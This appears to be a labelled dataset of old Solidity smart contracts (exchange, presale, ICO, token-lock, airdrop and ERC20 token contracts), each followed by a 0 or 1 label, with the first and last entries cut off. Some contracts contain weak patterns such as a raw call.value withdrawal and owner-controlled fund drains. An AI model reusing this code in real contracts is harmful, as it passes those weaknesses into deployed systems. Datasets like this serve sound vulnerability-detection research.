withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0
pragma solidity ^0.4.18; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= a); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require((b == 0 || (c = a * b) / b == a)); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a / b; } } interface Token { function mintTokens(address _recipient, uint _value) external returns(bool success); function balanceOf(address _holder) public returns(uint256 tokens); function totalSupply() public returns(uint256 _totalSupply); } contract Presale { using SafeMath for uint256; Token public tokenContract; address public beneficiaryAddress; uint256 public tokensPerEther; uint256 public minimumContribution; uint256 public startTime; uint256 public endTime; uint256 public hardcapInEther; uint256 public fundsRaised; mapping (address => uint256) public contributionBy; event ContributionReceived(address contributer, uint256 amount, uint256 totalContributions,uint totalAmountRaised); event FundsWithdrawn(uint256 funds, address beneficiaryAddress); function Presale( address _beneficiaryAddress, uint256 _tokensPerEther, uint256 _minimumContributionInFinney, uint256 _startTime, uint256 _saleLengthinHours, address _tokenContractAddress, uint256 _hardcapInEther) { startTime = _startTime; endTime = startTime + (_saleLengthinHours * 1 hours); beneficiaryAddress = _beneficiaryAddress; tokensPerEther = _tokensPerEther; minimumContribution = _minimumContributionInFinney * 1 finney; tokenContract = Token(_tokenContractAddress); hardcapInEther = _hardcapInEther * 1 ether; } function () public payable { require(presaleOpen()); require(msg.value >= minimumContribution); uint256 contribution = msg.value; uint256 refund; if(this.balance > hardcapInEther){ refund = this.balance.sub(hardcapInEther); contribution = msg.value.sub(refund); msg.sender.transfer(refund); } fundsRaised = fundsRaised.add(contribution); contributionBy[msg.sender] = contributionBy[msg.sender].add(contribution); tokenContract.mintTokens(msg.sender, contribution.mul(tokensPerEther)); ContributionReceived(msg.sender, contribution, contributionBy[msg.sender], this.balance); } function presaleOpen() public view returns(bool) {return(now >= startTime && now <= endTime && fundsRaised < hardcapInEther);} function withdrawFunds() public { require(this.balance > 0); beneficiaryAddress.transfer(this.balance); FundsWithdrawn(this.balance, beneficiaryAddress); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xb3aE6D818Df3D673f4B44BB410fb89fd3492d09c ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function transferFrom(address from, address to, uint256 value) public returns (bool); } contract ICOcontract is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; address _tokenContract = 0x0a450affd2172dbfbe1b8729398fadb1c9d3dce7; AltcoinToken cddtoken = AltcoinToken(_tokenContract); uint256 public tokensPerEth = 86000e4; uint256 public bonus = 0; uint256 public constant minContribution = 1 ether / 1000; uint256 public constant extraBonus = 1 ether / 10; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Distr(address indexed to, uint256 amount); event TokensPerEthUpdated(uint _tokensPerEth); modifier onlyOwner() { require(msg.sender == owner); _; } function ICOcontract () public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { sendTokens(); } function sendTokens() private returns (bool) { uint256 tokens = 0; require( msg.value >= minContribution ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= extraBonus ) { bonus = tokens / 2; } tokens = tokens + bonus; sendtokens(cddtoken, tokens, investor); address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) { AltcoinToken anytoken = AltcoinToken(anycontract); uint256 amount = anytoken.balanceOf(address(this)); return anytoken.transfer(owner, amount); } function sendtokens(address contrato, uint256 amount, address who) private returns (bool) { AltcoinToken alttoken = AltcoinToken(contrato); return alttoken.transfer(who, amount); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29289600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x1470f6E7aD0ba65cAe48665Fcf43e4a018B88239; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Erc20Token { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract AirDropContract is Ownable { using SafeMath for uint256; Erc20Token public tokenRewardContract; uint256 public totalAirDropToken; address public collectorAddress; mapping(address => uint256) public balanceOf; event FundTransfer(address backer, uint256 amount, bool isContribution); event Additional(uint amount); event Burn(uint amount); event CollectAirDropTokenBack(address collectorAddress,uint256 airDropTokenNum); constructor( address _tokenRewardContract, address _collectorAddress ) public { totalAirDropToken = 2e7; tokenRewardContract = Erc20Token(_tokenRewardContract); collectorAddress = _collectorAddress; } function() payable public { require(collectorAddress != 0x0); require(totalAirDropToken > 0); uint256 ethAmount = msg.value.div(1e18); uint256 amount = ethAmount.mul(23000); require(amount > 0); totalAirDropToken = totalAirDropToken.sub(amount); tokenRewardContract.transfer(msg.sender, amount.mul(1e18)); address wallet = collectorAddress; uint256 weiAmount = msg.value; wallet.transfer(weiAmount); emit FundTransfer(msg.sender, amount, true); } function additional(uint256 amount) public onlyOwner { require(amount > 0); totalAirDropToken = totalAirDropToken.add(amount); emit Additional(amount); } function burn(uint256 amount) public onlyOwner { require(amount > 0); totalAirDropToken = totalAirDropToken.sub(amount); emit Burn(amount); } function modifyCollectorAddress(address newCollectorAddress) public onlyOwner returns (bool) { collectorAddress = newCollectorAddress; } function collectAirDropTokenBack(uint256 airDropTokenNum) public onlyOwner { require(totalAirDropToken > 0); require(collectorAddress != 0x0); if (airDropTokenNum > 0) { tokenRewardContract.transfer(collectorAddress, airDropTokenNum * 1e18); } else { tokenRewardContract.transfer(collectorAddress, totalAirDropToken * 1e18); totalAirDropToken = 0; } emit CollectAirDropTokenBack(collectorAddress, airDropTokenNum); } function collectEtherBack() public onlyOwner { uint256 b = address(this).balance; require(b > 0); require(collectorAddress != 0x0); collectorAddress.transfer(b); } function getTokenBalance(address tokenAddress, address who) view public returns (uint){ Erc20Token t = Erc20Token(tokenAddress); return t.balanceOf(who); } function collectOtherTokens(address tokenContract) onlyOwner public returns (bool) { Erc20Token t = Erc20Token(tokenContract); uint256 b = t.balanceOf(address(this)); return t.transfer(collectorAddress, b); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28598400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xD40731229CfE1BA7Aa39Fb38C896DEC492f98b10; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ImperiousTechCoin is StandardToken { string public name = "Imperious Technology"; string public symbol = "IMPS"; uint8 public decimals = 2; uint public INITIAL_SUPPLY = 45000000; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
1
pragma solidity ^0.4.25; contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { function totalSupply() public constant returns (uint256 supply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract AbstractToken is Token, SafeMath { constructor () public { } function balanceOf(address _owner) public constant returns (uint256 balance) { return accounts [_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } function approve (address _spender, uint256 _value) public returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowances [_owner][_spender]; } mapping (address => uint256) accounts; mapping (address => mapping (address => uint256)) private allowances; } contract PAUToken is AbstractToken { uint256 constant MAX_TOKEN_COUNT = 500000000 * (10**2); address private owner; mapping (address => bool) private frozenAccount; uint256 tokenCount = 0; bool frozen = false; constructor () public { owner = msg.sender; } function totalSupply() public constant returns (uint256 supply) { return tokenCount; } string constant public name = "PAULOWNIA"; string constant public symbol = "PAU"; uint8 constant public decimals = 2; function transfer(address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } function approve (address _spender, uint256 _value) public returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } function createTokens(uint256 _value) public returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); emit Transfer(0x0, msg.sender, _value); return true; } return false; } function setOwner(address _newOwner) public { require (msg.sender == owner); owner = _newOwner; } function freezeTransfers () public { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } function unfreezeTransfers () public { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } function refundTokens(address _token, address _refund, uint256 _value) public { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } function freezeAccount(address _target, bool freeze) public { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } event Freeze (); event Unfreeze (); event FrozenFunds(address target, bool frozen); event RefundTokens(address _token, address _refund, uint256 _value); }
1
pragma solidity ^0.4.9; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { function totalSupply() constant returns (uint256) {} function balanceOf(address _owner) constant returns (uint256) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract SWATX is SafeMath { address public admin; address public feeAccount; address public accountLevelsAddr; uint public feeMake; uint public feeTake; uint public feeRebate; mapping (address => mapping (address => uint)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint)) public orderFills; event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give, bytes32 r, bytes32 s); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function SWATX(address admin_, address feeAccount_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = 0x0; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { bytes32 hash = sha256(this, tokenGet, amountGet, 